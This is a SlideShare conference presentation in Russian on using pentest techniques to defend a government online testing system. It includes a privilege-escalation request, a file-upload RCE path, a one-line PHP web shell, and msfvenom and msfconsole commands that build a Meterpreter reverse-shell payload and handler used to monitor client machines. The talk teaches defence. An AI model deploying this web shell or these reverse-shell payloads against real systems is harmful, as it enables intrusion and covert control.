Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Техники пентеста для активной защиты - Николай Овчарук

632 views

Published on

Презентация с форума http://hackit-ukraine.com/
Николай Овчарук
Служба IT безопасности, Воля
Техники пентеста для активной защиты

О спикере: Занимается техническим аудитом, расследованием инцидентов, разработкой и внедрением средств защиты. Играет в CTF.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Техники пентеста для активной защиты - Николай Овчарук

  1. 1. Техники пентеста для активной защиты Mykola Ovcharuk (@movcharuk) Mykola Ilin (@mykolailin)
  2. 2. $ whoami Николай Овчарук ● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP ● network security dcua CTF team Николай Ильин ● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ” ● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team ● Email: m@infosec.kiev.ua 2
  3. 3. Содержание 1. Исходные данные 2. Задачи 3. Защита хостинга 4. Аудит системы тестирования 5. Solver 6. Контроль клиентских машин 7. Инциденты 8. Выводы 3
  4. 4. Исходные данные ● LEMP ● Веб-приложение на PHP ● Зоопарк из ~2k клиентских машин ● Открытый канал клиент-сервер 4
  5. 5. Задачи ● защита от вмешательства в процесс тестирования ● контроль целостности результатов тестирования ● обеспечение доступности системы 5
  6. 6. Защита хостинга ● Обновление системы ● IP-фильтрация ● Логирование на внешний независимый сервер ● Резервное копирование 6
  7. 7. Аудит системы тестирования privilege escalation POST /users/password/645 HTTP/1.1 Host: ***.gov.ua Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://***.gov.ua/users/update/645 Content-Length: 24 Cookie: PHPSESSID=l90s0ohv5v…04sqd23; YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512 Connection: keep-alive users%5Bpassword%5D=1234 HTTP/1.1 200 OK 7
  8. 8. Аудит системы тестирования preauth remote code execution Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без аутентификации http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php Эксплуатируется без дополнительных средств 8
  9. 9. Аудит системы тестирования 9
  10. 10. Аудит системы тестирования 10
  11. 11. Аудит системы тестирования - 3 Notepad, web shell s.php <?=`$_GET[1]`;?> 11
  12. 12. Аудит системы тестирования - 3 12
  13. 13. Аудит системы тестирования 13
  14. 14. Аудит системы тестирования 14
  15. 15. Аудит системы тестирования 15
  16. 16. Аудит системы тестирования 16
  17. 17. Аудит системы тестирования 17
  18. 18. Solver ~ 100 строк кода, 2 секунды и 100% результат $ time ./gp_solver.py session <Cookie PHPSESSID=... for zzz.gov.ua/> logged in as K00000 ... 5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218- 16952 6754:6763-27130 6370:6379-25593 test finished RESULT 100% ./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar Подсветка правильных решений 18
  19. 19. Solver Использованием солвера добились: ● Демонстрация бреши => изменение архитектуры ● Нагрузочное тестирование => оптимизация системных настроек 19
  20. 20. Контроль клиентских машин ● Терминальный доступ к системе тестирования ● Meterpreter для контроля процессов и не только 20
  21. 21. Контроль клиентских машин | Meterpreter ● Мониторинг системных процессов ● Printscreen, в случае подозрения на фрод ● Дамп памяти + volatility при анализе инцидентов 21
  22. 22. Контроль клиентских машин | Meterpreter Пример генерации пейлоада: $ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe Ждем подключений: $ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; set AutoRunScript multiscript -rc ./run.txt; exploit -j -z' Контролируется целостность шеллкода при передаче, защита от MITM 22
  23. 23. Контроль клиентских машин | Meterpreter $ cat /root/.msf4/payloads.json "2b246a24f46aa2": { "arch": "x86", "platform": "windows", "payload": "payload/windows/meterpreter/reverse_winhttps", "datastore": { "AutoSystemInfo": true, "AutoVerifySession": true, "HANDLERSSLCERT": "./Cert.pem", "PayloadProxyIE": true, "PayloadUUIDTracking": true, "StagerVerifySSLCert": true }, "name": "k0000", "urls": [ "/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL" ] 23
  24. 24. Контроль клиентских машин | Meterpreter msf exploit(handler) > sessions -l <…> 118 meterpreter x86/win32 WS14User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142) 119 meterpreter x86/win32 WS221User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200) 120 meterpreter x86/win32 WS223User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213) 121 meterpreter x86/win32 WS141Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68) 122 meterpreter x86/win32 PCAdministrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79) 24
  25. 25. Контроль клиентских машин | Meterpreter Опрос всех машин: <ruby> framework.sessions.each do |num,session| print_status("Session #{num}") session.sys.process.get_processes().each do |x| print_status(" #{num} = Process: #{x['pid']} #{x['name']}") end end </ruby> + run winenum, сравнение конфигурации до и после начала теста 25
  26. 26. Контроль клиентских машин | Meterpreter 3 = Process: 1048 svchost.exe 3 = Process: 1176 spoolsv.exe 3 = Process: 1212 svchost.exe 3 = Process: 1428 taskhost.exe 3 = Process: 1548 explorer.exe 3 = Process: 1980 svchost.exe 3 = Process: 2016 TeamViewer_Service.exe 3 = Process: 1708 hkcmd.exe 3 = Process: 1700 igfxpers.exe 3 = Process: 2308 VDeck.exe 3 = Process: 2316 USBGuard.exe 3 = Process: 2328 jusched.exe 3 = Process: 2736 egui.exe 3 = Process: 2768 SearchIndexer.exe 26
  27. 27. Инциденты ● Неполный физический контроль на местах, <1 представитель на аудиторию (помощь волонтеров) ● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест, принимается первое решение (детектируется в аудите логов) ● Разработчики пишут код после начала промышленного тестирования и имеют доступ к БД (детектируется при сверке статистики) 27
  28. 28. Выводы ● Время промышленной эксплуатации системы и предыдущие пентесты не гарантируют безопасность. ● как разработчики, так и предыдущие аудиторы могут оказаться идиотами ● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не CTF — объективные оценки квалификации часто отсутствуют ● Многие технологии “атакующей стороны” могут быть полезны при защите. ● средства вторжения для нагрузочного тестирования ● средства доступа для контроля оконечных устройств 28
  29. 29. 29

×